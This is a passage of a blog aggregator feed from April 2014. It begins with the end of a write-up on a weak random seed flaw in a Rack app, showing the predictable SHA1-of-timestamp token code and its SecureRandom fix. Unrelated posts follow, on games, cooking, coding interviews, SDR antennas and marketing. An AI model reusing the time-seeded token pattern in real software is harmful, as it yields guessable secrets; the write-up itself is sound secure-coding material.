&lt;span class="org-src-tab"&gt;&lt;span&gt;Ruby&lt;/span&gt;&lt;/span&gt;&lt;div class="org-src-legend"&gt;&lt;ul&gt;&lt;li&gt;&lt;span class="org-type"&gt;Font used to highlight type and class names.&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div class="org-src-container"&gt;
&lt;pre class="src src-ruby"&gt;&lt;code&gt;&lt;code&gt;&lt;span class="org-type"&gt;Digest&lt;/span&gt;::&lt;span class="org-type"&gt;SHA1&lt;/span&gt;.hexdigest&lt;span class="org-rainbow-delimiters-depth-1"&gt;(&lt;/span&gt;&lt;span class="org-type"&gt;Time&lt;/span&gt;.now.to_s&lt;span class="org-rainbow-delimiters-depth-1"&gt;)&lt;/span&gt;&lt;/code&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;
The SecureRandom library is used instead:
&lt;/p&gt;

&lt;span class="org-src-tab"&gt;&lt;span&gt;Ruby&lt;/span&gt;&lt;/span&gt;&lt;div class="org-src-legend"&gt;&lt;ul&gt;&lt;li&gt;&lt;span class="org-type"&gt;Font used to highlight type and class names.&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div class="org-src-container"&gt;
&lt;pre class="src src-ruby"&gt;&lt;code&gt;&lt;code&gt;&lt;span class="org-type"&gt;SecureRandom&lt;/span&gt;.hex&lt;span class="org-rainbow-delimiters-depth-1"&gt;(&lt;/span&gt;20&lt;span class="org-rainbow-delimiters-depth-1"&gt;)&lt;/span&gt;&lt;/code&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;
Which also gives us a 40-character random hex string that is sufficiently random (&lt;code&gt;/dev/random&lt;/code&gt; on *nix and&amp;hellip; whatever the equivalent is in Windows.)
&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="outline-4" id="outline-container-conclusion"&gt;
&lt;h4 id="conclusion"&gt;Conclusion&lt;/h4&gt;
&lt;div class="outline-text-4" id="text-orgc2ea017"&gt;
&lt;p&gt;
Although this vulnerability is by no means a groundbreaking achievement, I found the process instructive for myself and hope that this writeup provided some additional insight to anyone interested in web application pen testing or secure coding practices. I know for myself that learning about weak cryptography has always been somewhat of a nebulous concept without concrete examples, and this example is an excellent illustration into how important random seeding can be.
&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;</description><author>Tyblog</author><pubDate>Fri, 04 Apr 2014 09:00:00 GMT</pubDate><guid isPermaLink="true">https://blog.tjll.net/weak-random-seed-rack-exploit/</guid></item><item><title>GREENLIT!</title><link>https://etodd.io/2014/04/04/greenlit/</link><description>&lt;p&gt;&lt;a href="https://www.kickstarter.com/projects/et1337/lemma-first-person-parkour/posts/799594"&gt;From the Kickstarter:&lt;/a&gt;&lt;/p&gt;
&lt;div class="template asset" style="text-align: left;"&gt;
&lt;figure&gt;&lt;/figure&gt;
&lt;figure&gt;&lt;img alt="It's not every day you see this email in your inbox." class="fit" src="https://etodd.io/assets/82a14ae160fc5be80e3e7a8a8d2f6923_large.jpg" /&gt;&lt;/figure&gt;
&lt;/div&gt;
&lt;p&gt;It's not every day you see this email in your inbox.&lt;/p&gt;
&lt;p&gt;WE ARE ON STEAM! Thanks everyone for your votes! We were part of a batch of 75 titles, even though we hadn't reached the top 100 yet. Go check out &lt;a href="http://steamcommunity.com/sharedfiles/filedetails/?id=244440590" target="_blank"&gt;the other games that were greenlit today!&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Here are the statistics for anyone interested:&lt;/p&gt;</description><author>Evan Todd</author><pubDate>Fri, 04 Apr 2014 03:24:38 GMT</pubDate><guid isPermaLink="true">https://etodd.io/2014/04/04/greenlit/</guid></item><item><title>Fry Your Pizza</title><link>https://josh.works/home/2014/04/04/fry-your-pizza/</link><description>&lt;p&gt;Here’s a problem many of us first-worlders have: cold pizza.&lt;/p&gt;

&lt;p&gt;There are two options. Microwave it, or throw it in the toaster oven or regular oven. A microwave makes it soggy, and a regular oven takes forever to heat it up.&lt;/p&gt;

&lt;p&gt;(If you’re willing to eat it cold, may god have mercy on your soul.)&lt;/p&gt;

&lt;p&gt;Well, there’s a solution to this problem. Here’s how it works.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Before you get your pizza out of the microwave, throw your skillet on the burner, medium heat.&lt;/li&gt;
  &lt;li&gt;Microwave your pizza for 45 seconds or so, until it’s warm.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id="this-is-the-important-part"&gt;This is the important part&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;Place your pizza on the skillet&lt;/li&gt;
  &lt;li&gt;Cook it until it’s crispy on the bottom&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This process is very quick. If you’re lucky enough to have a gas range, it will add about two minutes to your 45 seconds of microwave time. If you’re forced to work with a regular electric oven, it’ll take a while to get the skillet hot. Sorry.&lt;/p&gt;

&lt;p&gt;Guess what I had for dinner?&lt;/p&gt;</description><author>Josh Thompson</author><pubDate>Fri, 04 Apr 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://josh.works/home/2014/04/04/fry-your-pizza/</guid></item><item><title>2014-04-04</title><link>https://ho.dges.online/pictures/2014-04-04/</link><description/><author>ho.dges.online</author><pubDate>Fri, 04 Apr 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://ho.dges.online/pictures/2014-04-04/</guid></item><item><title>DJI Phantom Quadcopter Flies Into an Active Volcano</title><link>http://laughingsquid.com/an-incredible-video-shot-by-a-dji-phantom-quadcopter-flying-into-an-active-volcano/</link><description>&lt;p&gt;After coming across &lt;a href="https://zacs.site/blog/superman-with-a-gopro.html"&gt;another&lt;/a&gt; video on Laughing Squid of &lt;a href="http://laughingsquid.com/father-pulls-out-his-sons-loose-baby-tooth-using-a-dji-phantom-quadcopter/"&gt;a dad using a quadracopter to pull his son&amp;#8217;s tooth out&lt;/a&gt;, I found what has to be one of the coolest videos I have ever seen: Shaun O&amp;#8217;Callaghan flew his own DJI Phantom quadcopter over an active volcano on Tanna Island, Vanuatu, and the resulting video is &lt;em&gt;awesome&lt;/em&gt;.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://laughingsquid.com/an-incredible-video-shot-by-a-dji-phantom-quadcopter-flying-into-an-active-volcano/"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Thu, 03 Apr 2014 14:14:27 GMT</pubDate><guid isPermaLink="true">http://laughingsquid.com/an-incredible-video-shot-by-a-dji-phantom-quadcopter-flying-into-an-active-volcano/</guid></item><item><title>That Special Feeling</title><link>http://tabdump.com/blog/2014/3/25/that-special-feeling</link><description>&lt;p&gt;In a brief departure from his daily Tab Dump series, Stefan Constantinescu wrote about the LG G Flex. He did not write a review though, but instead a rather introspective essay about how the single advantage to this device and what that signaled for the future of the mobile phone industry. Quite a while has passed since the 5S came out, and even longer since Apple did anything new with their flagship phone&amp;#8217;s form factor. We have already seen releases from the other major smartphone players, and it&amp;#8217;s about time Apple added to the cacophony. I can&amp;#8217;t wait to see what they come out with.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://tabdump.com/blog/2014/3/25/that-special-feeling"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Thu, 03 Apr 2014 13:52:58 GMT</pubDate><guid isPermaLink="true">http://tabdump.com/blog/2014/3/25/that-special-feeling</guid></item><item><title>!Sexism</title><link>https://zacs.site/blog/youth-problem.html</link><description>&lt;p&gt;Spoiler alert: &lt;a href="https://zacs.site/blog/hedge-yourself.html"&gt;sexism&lt;/a&gt; isn&amp;#8217;t the only social issue holding up progress within the tech industry at large. A few weeks ago, I read a great article by Yiren Lu titled &lt;a href="http://www.nytimes.com/2014/03/16/magazine/silicon-valleys-youth-problem.html"&gt;&lt;em&gt;Silicon Valley&amp;#8217;s Youth Problem&lt;/em&gt;&lt;/a&gt;, where she explained how a preference for young entrepreneurs combined with the type of projects they tend to work on has created an unsustainable culture of front-end innovation built atop outmoded technology. She later went on to detail how that unfortunate amalgamation will put us in a poor position in the near future as the march of progress falls victim to increasingly restrictive constraints when the underlying technologies powering that advancement become unable to sustain further progress. Then, just yesterday, I cam across another, similar article&amp;#160;&amp;#8212;&amp;#160;this time from New Republic&amp;#160;&amp;#8212;&amp;#160;by Noam Scheiber titled &lt;a href="http://www.newrepublic.com/article/117088/silicons-valleys-brutal-ageism"&gt;&lt;em&gt;Silicon Valley&amp;#8217;s Brutal Ageism&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/youth-problem.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Thu, 03 Apr 2014 10:57:15 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/youth-problem.html</guid></item><item><title>Working at RedHat</title><link>https://purpleidea.com/blog/2014/04/02/working-at-redhat/</link><description>&lt;p&gt;&lt;em&gt;So this happened&lt;/em&gt;:&lt;/p&gt;
&lt;table style="text-align: center; width: 80%; margin: 0 auto;"&gt;&lt;tr&gt;&lt;td&gt;&lt;a href="james-redhat.jpg"&gt;&lt;img alt="James just James at RedHat headquarters in North Carolina" class="size-large wp-image-804" height="100%" src="james-redhat.jpg" width="100%" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt; James just James at RedHat headquarters in North Carolina wearing his new red hat.&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;p&gt;&lt;a href="https://www.redhat.com/"&gt;RedHat&lt;/a&gt; made me an offer, and I am happy to say that I have just started this week!&lt;/p&gt;
&lt;p&gt;I am proud to have joined a company that employs many of the worlds foremost, highly professional and clever &lt;a href="https://en.wikipedia.org/wiki/Hacker_%28term%29"&gt;hackers&lt;/a&gt;. It is indubitably the best &lt;a href="https://www.gnu.org/philosophy/selling.html"&gt;Free Software&lt;/a&gt; [1] / &lt;a href="https://www.gnu.org/philosophy/free-sw.html"&gt;Open Source&lt;/a&gt; company out there, and they ship some of the greatest and most elegant software available.&lt;/p&gt;</description><author>The Technical Blog of James on purpleidea.com</author><pubDate>Wed, 02 Apr 2014 17:27:35 GMT</pubDate><guid isPermaLink="true">https://purpleidea.com/blog/2014/04/02/working-at-redhat/</guid></item><item><title>Cheat your way through life</title><link>https://etodd.io/2014/04/02/cheat-your-way-through-life/</link><description>&lt;p&gt;&lt;a href="https://www.kickstarter.com/projects/et1337/lemma-first-person-parkour/posts/797122"&gt;From the Kickstarter:&lt;/a&gt; Just an update on development progress for Lemma! Thank you so much everyone for your support. I'm still getting tons of useful feedback from people playing the demo. Levels have been tweaked, bugs have been fixed, writing has been edited, and graphics have been tightened. Expect a new build very soon! Here's some new features to look forward to:&lt;/p&gt;
&lt;p&gt;First, a minor technical detail. Saved games do not carry over between builds. If you run a newer build, all your old saves will be lost. It's a major drag for beta testers, which is why I've added a new CHEAT menu to skip parts you've already mastered!&lt;/p&gt;</description><author>Evan Todd</author><pubDate>Wed, 02 Apr 2014 13:10:14 GMT</pubDate><guid isPermaLink="true">https://etodd.io/2014/04/02/cheat-your-way-through-life/</guid></item><item><title>More interview snippets….</title><link>https://boyter.org/2014/04/interview-snippets/</link><description>&lt;p&gt;Since I wrote the code to these snippets I thought I may as well add them here in case I ever need them again or want to review them. As the other interview ones they are the answers to a question I was asked, slightly modified to protect the innocent. These ones are written in Python.&lt;/p&gt;
&lt;p&gt;Q. Write a function to reverse each word in a string.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0"&gt;&lt;code class="language-python"&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #66d9ef;"&gt;def&lt;/span&gt; &lt;span style="color: #a6e22e;"&gt;reverse_each_word&lt;/span&gt;(words):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;    &lt;span style="color: #e6db74;"&gt;'''
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #e6db74;"&gt;    Reverse each word in a string 
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #e6db74;"&gt;    '''&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;    &lt;span style="color: #66d9ef;"&gt;return&lt;/span&gt; &lt;span style="color: #e6db74;"&gt;" "&lt;/span&gt;&lt;span style="color: #f92672;"&gt;.&lt;/span&gt;join([x[::&lt;span style="color: #f92672;"&gt;-&lt;/span&gt;&lt;span style="color: #ae81ff;"&gt;1&lt;/span&gt;] &lt;span style="color: #66d9ef;"&gt;for&lt;/span&gt; x &lt;span style="color: #f92672;"&gt;in&lt;/span&gt; words&lt;span style="color: #f92672;"&gt;.&lt;/span&gt;split(&lt;span style="color: #e6db74;"&gt;' '&lt;/span&gt;)])&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The only thing of note in here is the x[::-1] which is extended slice syntax which reverses a string. You could also to reversed(x) although I believe at the time of writing it is MUCH slower.&lt;/p&gt;</description><author>Ben E. C. Boyter</author><pubDate>Wed, 02 Apr 2014 11:59:36 GMT</pubDate><guid isPermaLink="true">https://boyter.org/2014/04/interview-snippets/</guid></item><item><title>Owning Their Words</title><link>https://zacs.site/blog/owning-their-words.html</link><description>&lt;p&gt;When I started this website, I did so with the same intentions many decide to set up a blog these days: post often and about topics that interest me, and link to the work of others in between. In short, I set out to model my website after the likes of John Gruber, Shawn Blanc, and Marco Arment, back when the latter two published with much more regularity. By any measure, I succeeded: I wrote regularly, posted often, and occasionally made something interesting enough to spawn some intelligent discussions. I succeeded by adopting a proven format, even though I did little to improve upon it. Towards the end of last year, I began the difficult process of rectifying that.&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/owning-their-words.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Wed, 02 Apr 2014 11:09:02 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/owning-their-words.html</guid></item><item><title>2048: A close look at the source</title><link>http://blog.danieljanus.pl/2048/</link><description>&lt;div&gt;&lt;p&gt;Dust has now mostly settled down on &lt;a href="https://gabrielecirulli.github.io/2048/"&gt;2048&lt;/a&gt;. Yet, in all the deluge of variants and clones that has swept through &lt;a href="https://news.ycombinator.com/"&gt;Hacker News&lt;/a&gt;, little has been written about the experience of modifying the game. As I too have jumped on the 2048-modding bandwagon, it’s time to fill that gap, because, as we shall see, the code more than deserves a close look.&lt;/p&gt;&lt;p&gt;I’ll start with briefly describing my variant. It’s called &lt;a href="http://danieljanus.pl/wosg"&gt;“words oh so great”&lt;/a&gt; (a rather miserable attempt at a pun on “two-oh-four-eight”) and is a consequence of a thought I had, being an avid Scrabble player, after seeing the &lt;a href="http://joppi.github.io/2048-3D/"&gt;3D&lt;/a&gt; and &lt;a href="http://huonw.github.io/2048-4D/"&gt;4D&lt;/a&gt; versions: “what if we mashed 2048 and Scrabble together?” The answer just lended itself automatically.&lt;/p&gt;&lt;p&gt;Letters instead of number tiles, that was obvious. And you use them to form words. It is unclear how merging tiles should work: merging two identical tiles, as in the original, just wouldn’t make sense here, so drop the concept of merging and make the tiles disappear instead when you form a word. In Scrabble, the minimum length of a word is two, but allowing two-letter words here would mean too many words formed accidentally, so make it at least three. And 16 squares sounds like too tight a space, so increase it to 5x5. And there you have the modified rules.&lt;/p&gt;&lt;p&gt;I &lt;a href="https://github.com/nathell/wosg"&gt;cloned&lt;/a&gt; the Git repo, downloaded an English word list (&lt;a href="http://dreamsteep.com/projects/the-english-open-word-list.html"&gt;EOWL&lt;/a&gt;), and set out to work. It took me just over three hours from the initial idea to putting the modified version online and submitting a link to HN. I think three hours is not bad, considering that I’ve significantly changed the game mechanics. And, in my opinion, this is a testimony to the quality of Gabriele Cirulli’s code.&lt;/p&gt;&lt;p&gt;The code follows the MVC pattern, despite not relying on any frameworks or libraries. The model is comprised of the &lt;code&gt;Tile&lt;/code&gt; and &lt;code&gt;Grid&lt;/code&gt; classes, laying out the universe for the game as well as some basic rules governing it, and the &lt;code&gt;GameManager&lt;/code&gt; that implements the game mechanics: how tiles move around, when they can merge together, when the game ends, and so on. It also uses a helper class called &lt;code&gt;LocalStorageManager&lt;/code&gt; to keep the score and save it in the browser’s local storage.&lt;/p&gt;&lt;p&gt;The view part is called an “actuator” in 2048 parlance. The &lt;code&gt;HTMLActuator&lt;/code&gt; takes the game state and updates the DOM tree accordingly. It also uses a micro-framework for animations. The controller takes the form of a &lt;code&gt;KeyboardInputManager&lt;/code&gt;, whose job is to receive keyboard events and translate them to changes of the model.&lt;/p&gt;&lt;p&gt;The &lt;code&gt;GameManager&lt;/code&gt; also contains some code to tie it all together — not really a part of the model as in MVC. Despite this slight inconsistency, the separation of concerns is very neatly executed in 2048’s code; I would even go so far as to say that it could be used as a demonstration in teaching MVC to people.&lt;/p&gt;&lt;p&gt;The only gripe I had with the code is that it violates the DRY principle in several places. Specifically, to change the board size to 5x5, I had to modify as many as three places: the HTML (it contains the initial definition for the DOM, including 16 empty divs making up the grid, which is unfortunate — I’d change it to set up the DOM at runtime during initialization); the model (instantiation of &lt;code&gt;GameManager&lt;/code&gt;); and the &lt;code&gt;.scss&lt;/code&gt; file from which the CSS is generated.&lt;/p&gt;&lt;p&gt;While on this topic, let me add that 2048’s usage of SASS is a prime example of its capabilities. It is very instructive to see how the sizing and positioning of the grid, and also styling for the tiles down to the glow, is done programmatically. I was aware of the existence of SASS before, but never got around to explore it. Now, I’m sold on it.&lt;/p&gt;&lt;p&gt;To sum up: 2048 rocks. And it’s fun to modify. Go try it.&lt;/p&gt;&lt;/div&gt;</description><author>code · words · emotions: Daniel Janus’s blog</author><pubDate>Wed, 02 Apr 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">http://blog.danieljanus.pl/2048/</guid></item><item><title>Alienated from Even Objective Truth</title><link>https://murphyslab.ca/notes/alienated-from-even-objective-truth/</link><description>The trend toward intentionally ignoring data that does not agree with one&amp;rsquo;s biases only continues. A 2010 article from Scientific American discussing emails received by climate scientists:
 Trenberth* says that is the most dispiriting aspect of the e-mails: Facts don&amp;rsquo;t carry more weight in the public debate. The nature of public discourse - be it climate change or health care - has changed; information that does not fit one&amp;rsquo;s worldview is now discounted or rejected.</description><author>Murphy's Lab Notes on Murphy's Lab</author><pubDate>Wed, 02 Apr 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://murphyslab.ca/notes/alienated-from-even-objective-truth/</guid></item><item><title>Testing different DIY antennas for RTLSDR</title><link>https://shyamjos.com/testing-different-antennas-for-rtlsdr/</link><description>&lt;p&gt;






 
 
&lt;figure&gt;&lt;img alt="rtlsdr antennas" class="mx-auto my-0 rounded-md" src="https://shyamjos.com/assets/img/rtlsdr/rtlsdr-antenna.webp" /&gt;
&lt;/figure&gt;

I have been experimenting with different DIY antennas for RTLSDR since 2013,Below is my review on different antennas I have tested so far.&lt;/p&gt;
&lt;h2 class="relative group" id="for-decoding-noaa-weather-satellite-signals"&gt;For decoding NOAA weather satellite Signals &lt;span class="absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100"&gt;&lt;a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" href="#for-decoding-noaa-weather-satellite-signals"&gt;#&lt;/a&gt;&lt;/span&gt;&lt;/h2&gt;&lt;p&gt;Quadrifilar Helix (QFH) Antenna is the most recommended antenna for APT signal reception, But I was too lazy to build one. So i decided to make a ground plane antenna with coat hanger. In my opinion GP antenna is the simplest and easy to make antenna for decoding APT signals.&lt;a href="http://shyamjos.com/decoding-noaa-weather-satellite-apt-signals-with-RTL-SDR" rel="noreferrer" target="_blank"&gt;Check out my NOAA images&lt;/a&gt; decoded with coat hanger GP antenna.&lt;/p&gt;
&lt;h2 class="relative group" id="for-decoding-adb-signals-tracking-aircraft"&gt;For decoding adb signals (tracking aircraft) &lt;span class="absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100"&gt;&lt;a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" href="#for-decoding-adb-signals-tracking-aircraft"&gt;#&lt;/a&gt;&lt;/span&gt;&lt;/h2&gt;&lt;p&gt;Coaxial Collinear Antenna is the best antenna for long range adb signal reception,&lt;a href="https://www.balarad.net/" rel="noreferrer" target="_blank"&gt;On this page&lt;/a&gt; there is a good tutorial for making Coaxial Collinear Antenna.&lt;/p&gt;
&lt;h2 class="relative group" id="for-decoding-ais-signals-tracking-ships"&gt;For decoding AIS signals (tracking ships) &lt;span class="absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100"&gt;&lt;a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" href="#for-decoding-ais-signals-tracking-ships"&gt;#&lt;/a&gt;&lt;/span&gt;&lt;/h2&gt;&lt;p&gt;Coaxial Collinear Antenna provides pretty good reception for AIS signals,&lt;a href="http://arundale.com/docs/ais/aerial.html" rel="noreferrer" target="_blank"&gt;On this page&lt;/a&gt; there is excellent instructions on constructing high gain coax collinear AIS antenna.&lt;/p&gt;
&lt;h2 class="relative group" id="for-nfmfmwfmam-reception"&gt;For NFM/FM/WFM/AM Reception &lt;span class="absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100"&gt;&lt;a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" href="#for-nfmfmwfmam-reception"&gt;#&lt;/a&gt;&lt;/span&gt;&lt;/h2&gt;&lt;p&gt;For me a &lt;a href="http://shyamjos.com/decoding-noaa-weather-satellite-apt-signals-with-RTL-SDR/" rel="noreferrer" target="_blank"&gt;Ground plane antenna&lt;/a&gt; worked pretty well for FM/FM/WFM/AM reception.You can use &lt;a href="http://www.csgnetwork.com/antennagpcalc.html" rel="noreferrer" target="_blank"&gt;GP antenna calculator&lt;/a&gt; to fine tune your GP antenna to a specific frequency for better reception.&lt;/p&gt;</description><author>Shyam Jos</author><pubDate>Wed, 02 Apr 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://shyamjos.com/testing-different-antennas-for-rtlsdr/</guid></item><item><title>Another day another interview…</title><link>https://boyter.org/2014/04/day-interview/</link><description>&lt;p&gt;Another day another interview. I actually have been getting some good results from them so far. In particular the last two I have been on. I will discuss them briefly.&lt;/p&gt;
&lt;p&gt;The first had an interesting coding test. Rather then asking me to solve Fizzbuzz or implement a depth first algorithm over a binary tree (seriously, I have been programming for 10 years and never needed to do that. I can, but its something I did in uni and not really applicable to anything I have done since then). It was to implement a simple REST service.&lt;/p&gt;</description><author>Ben E. C. Boyter</author><pubDate>Wed, 02 Apr 2014 00:43:58 GMT</pubDate><guid isPermaLink="true">https://boyter.org/2014/04/day-interview/</guid></item><item><title>Inkas Armored Vehicles</title><link>http://uncrate.com/stuff/inkas-armored-vehicles/</link><description>&lt;p&gt;These have to be some of the coolest vehicles I have ever seen. I could definitely go for one of these, so if anyone&amp;#8217;s offering... You know how to get in touch.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://uncrate.com/stuff/inkas-armored-vehicles/"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Tue, 01 Apr 2014 11:29:31 GMT</pubDate><guid isPermaLink="true">http://uncrate.com/stuff/inkas-armored-vehicles/</guid></item><item><title>Cabin Porn Roundup</title><link>https://zacs.site/blog/cabin-porn-roundup-314.html</link><description>&lt;p&gt;After last month&amp;#8217;s post, I feared for the future viability of this series as I continued an apparent trend of finding fewer and fewer cool links for each of these issues. After the last few weeks, however, I&amp;#8217;m convinced that those slow months were flukes: this time around, boy have I got some great cabins to show you. Let&amp;#8217;s start with &lt;a href="http://tiny-project.com"&gt;The Tiny Project&lt;/a&gt;, then, a small house built on a trailer that features beautiful architecture and well thought-out design. Very impressive&amp;#160;&amp;#8212;&amp;#160;I would be more than happy to live in one of these, traveling around the country with the comfort of home just a few feet from my steering wheel. Maybe some day.&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/cabin-porn-roundup-314.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Tue, 01 Apr 2014 10:51:09 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/cabin-porn-roundup-314.html</guid></item><item><title>A test RSS feed service</title><link>https://tomforb.es/blog/a-test-rss-feed-service/</link><description>The coursework set for my Distributed Systems involves reading new items from RSS feeds (such as the BBC News feed or the UK traffic incident feed). To help me build the system I developed a simple service that serves up RSS feeds that are regularly automatically updated with nonsense items, and it ...</description><author>Tom Forbes</author><pubDate>Tue, 01 Apr 2014 05:33:57 GMT</pubDate><guid isPermaLink="true">https://tomforb.es/blog/a-test-rss-feed-service/</guid></item><item><title>Playing Pranks</title><link>https://josh.works/2014/04/01/playing-pranks/</link><description>&lt;p&gt;My wife played a brilliant prank on me today, as she does every year. Here’s a partial list:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Convincing me that I was about to eat a slice of carrot cake; it was a sponge covered with toothpaste. I bit into it.&lt;/li&gt;
  &lt;li&gt;Convincing me that she had, in anger and frustration, cut off almost all of her hair, and had pictures to prove it; unflattering camera angles + bobby pins = confused Josh&lt;/li&gt;
  &lt;li&gt;Feeding me soapy water&lt;/li&gt;
  &lt;li&gt;Convincing me she had a 
very forward suitor who wouldn’t take no for an answer; she and I were engaged, and it fell to me to do something about it.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;She has gotten me many other times. I love April fools day, but I’m not sure why. I don’t generally enjoy being tricked, but I love seeing the many things Kristi thinks up, and how she tricks me.&lt;/p&gt;

&lt;p&gt;It requires trust. I won’t be so easily tricked by most people, but my guard is down (obviously) when I’m with my wife. And this is healthy. I think part of the reason I love April Fools Day is because she couldn’t trick me if I didn’t trust her. That vulnerability is freeing.&lt;/p&gt;

&lt;p&gt;It takes work, though, building a relationship in which you can be vulnerable. I (and I think the rest of humanity) instinctually recoils from vulnerability. And this cheapens our relationships, robs us of opportunities for joy.&lt;/p&gt;</description><author>Josh Thompson</author><pubDate>Tue, 01 Apr 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://josh.works/2014/04/01/playing-pranks/</guid></item><item><title>Some non-traditional marketing tips</title><link>/2014/03/31/Some-non-traditional-marketing-tips/</link><description>&lt;p&gt;Marketing is generally unexciting to a ton of engineers, until it brings eyeballs which bring feedback and dollars. Marketing doesn&amp;rsquo;t have to always be cheesy campaigns or ads, it can often just be surfacing the things your customers actually do want to care about. My favorite type of marketing is when a service sells me on something at the exact time I want it. Here&amp;rsquo;s a few short tips on some non-traditional marketing that won&amp;rsquo;t seem sleezy but still can work quite well.&lt;/p&gt;
&lt;h3 id="email-subscriptions-to-your-blog"&gt;
&lt;div&gt;
Email subscriptions to your blog
&lt;/div&gt;
&lt;/h3&gt;
&lt;p&gt;RSS is pretty dead, google went and killed it with google reader. Sure there&amp;rsquo;s some decent replacements if you&amp;rsquo;re really tied to it. In particular &lt;a href="http://newsblur.com/"&gt;newsblur&lt;/a&gt; by &lt;a href="http://www.twitter.com/samuelclay"&gt;@samuelclay&lt;/a&gt; is a great reader. But now days content emerges on twitter, fb, and ranking services, then later is discovered via search. Both of these work pretty well, but twitter is ephemeral for so many. Email still converts incredibly well, if people are abandoning rss but still care about your content give them the ability for it to be put right in front of their face via email.&lt;/p&gt;
&lt;h3 id="market-in-transactional-emails"&gt;
&lt;div&gt;
Market in transactional emails
&lt;/div&gt;
&lt;/h3&gt;
&lt;p&gt;Have emails that include receipts? Account confirmations? General notices? No not a monthly newsletter! Transactional emails are obviously valuable to your users. Why not include a small call out to your latest announcement? Have a central hook that your emails can check from and simply include a small call to action within there.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Credit to &lt;a href="http://www.twitter.com/stevenbristol"&gt;@stevenbristol&lt;/a&gt; on &lt;a href="http://strongbusinessespodcast.com/16571/149964-episode-17-security-authy-and-disney"&gt;strong business podcast&lt;/a&gt; for this one&lt;/em&gt;&lt;/p&gt;
&lt;h3 id="retarget-to-your-existing-users"&gt;
&lt;div&gt;
Retarget to your existing users
&lt;/div&gt;
&lt;/h3&gt;
&lt;p&gt;In a similar vein of notifying your existing customers in transactional emails about news, you should be doing this all over the web. Retargeting is great to convert people once you&amp;rsquo;ve already got them on a landing page, but its also incredibly useful to get existing users to &lt;a href="http://insideintercom.io/talk-product-strategy-saying/"&gt;use a specific feature&lt;/a&gt;. If you track if they&amp;rsquo;ve never used a feature retargeting is a great way to make them aware of it, and once they&amp;rsquo;ve used it just count it as a conversion.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;My favorite retargeting provider &lt;a href="http://www.perfectaudience.com/"&gt;perfect audience&lt;/a&gt; makes this quite convenient as they allow a bit more control than most retargeting services&lt;/em&gt;&lt;/p&gt;
&lt;h3 id="in-conclusion"&gt;
&lt;div&gt;
In conclusion
&lt;/div&gt;
&lt;/h3&gt;
